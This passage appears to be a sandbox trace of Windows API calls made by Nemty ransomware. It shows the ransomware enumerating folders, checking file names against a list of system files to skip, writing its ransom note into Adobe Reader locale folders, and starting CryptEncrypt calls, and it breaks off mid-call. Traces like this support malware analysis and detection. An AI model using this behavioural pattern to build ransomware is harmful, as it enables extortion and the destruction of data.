lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0174.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0174.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0174.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0174.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0174.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0174.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0174.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0174.927] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0174.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0174.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0174.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.928] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba356b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ba356b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ba356b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0174.928] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0174.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0174.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0174.928] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2=".") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="..") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="...") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="windows") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="$RECYCLE.BIN") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="rsa") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="NTDETECT.COM") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="ntldr") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="MSDOS.SYS") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="IO.SYS") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="boot.ini") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="boot.ini") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="AUTOEXEC.BAT") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="ntuser.dat") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="desktop.ini") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="CONFIG.SYS") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="RECYCLER") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="BOOTSECT.BAK") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="bootmgr") returned 1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="programdata") returned -1 [0174.928] lstrcmpiW (lpString1="de_DE", lpString2="appdata") returned 1 [0174.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="de_DE", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0174.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="de_DE", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="de_DE", lpUsedDefaultChar=0x0) returned 5 [0174.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="de_DE", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0174.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="de_DE", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="de_DE", lpUsedDefaultChar=0x0) returned 5 [0174.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0174.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0174.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0174.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0174.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0174.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0174.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0174.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0174.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0174.932] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.932] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0174.933] CloseHandle (hObject=0x254) returned 1 [0174.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0174.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0174.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0174.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0174.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0174.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0174.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0174.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.934] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.934] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0174.935] CloseHandle (hObject=0x254) returned 1 [0174.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.935] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1be85e90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1be85e90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0174.935] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0174.935] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1be85e90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1be85e90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0174.935] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0174.935] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0174.935] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0174.935] lstrcmpiW (lpString1="accessibility.DEU", lpString2=".") returned 1 [0174.935] lstrcmpiW (lpString1="accessibility.DEU", lpString2="..") returned 1 [0174.935] lstrcmpiW (lpString1="accessibility.DEU", lpString2="...") returned 1 [0174.935] lstrcmpiW (lpString1="accessibility.DEU", lpString2="windows") returned -1 [0174.935] lstrcmpiW (lpString1="accessibility.DEU", lpString2="$RECYCLE.BIN") returned 1 [0174.935] lstrcmpiW (lpString1="accessibility.DEU", lpString2="rsa") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="NTDETECT.COM") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="ntldr") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="MSDOS.SYS") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="IO.SYS") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="boot.ini") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="boot.ini") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="AUTOEXEC.BAT") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="ntuser.dat") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="desktop.ini") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="CONFIG.SYS") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="RECYCLER") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="BOOTSECT.BAK") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="bootmgr") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="programdata") returned -1 [0174.936] lstrcmpiW (lpString1="accessibility.DEU", lpString2="appdata") returned -1 [0174.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0174.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DEU", lpUsedDefaultChar=0x0) returned 17 [0174.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0174.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0174.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DEU", lpUsedDefaultChar=0x0) returned 17 [0174.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0174.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0174.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DEU", lpUsedDefaultChar=0x0) returned 17 [0174.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0174.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DEU", lpUsedDefaultChar=0x0) returned 17 [0174.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.937] Sleep (dwMilliseconds=0x5) [0174.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bed2150, dwHighDateTime=0x1d561e8)) [0174.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bed2150, dwHighDateTime=0x1d561e8)) [0174.961] GetLastError () returned 0xb7 [0174.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.961] GetLastError () returned 0xb7 [0174.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0174.961] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.962] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.962] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.962] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 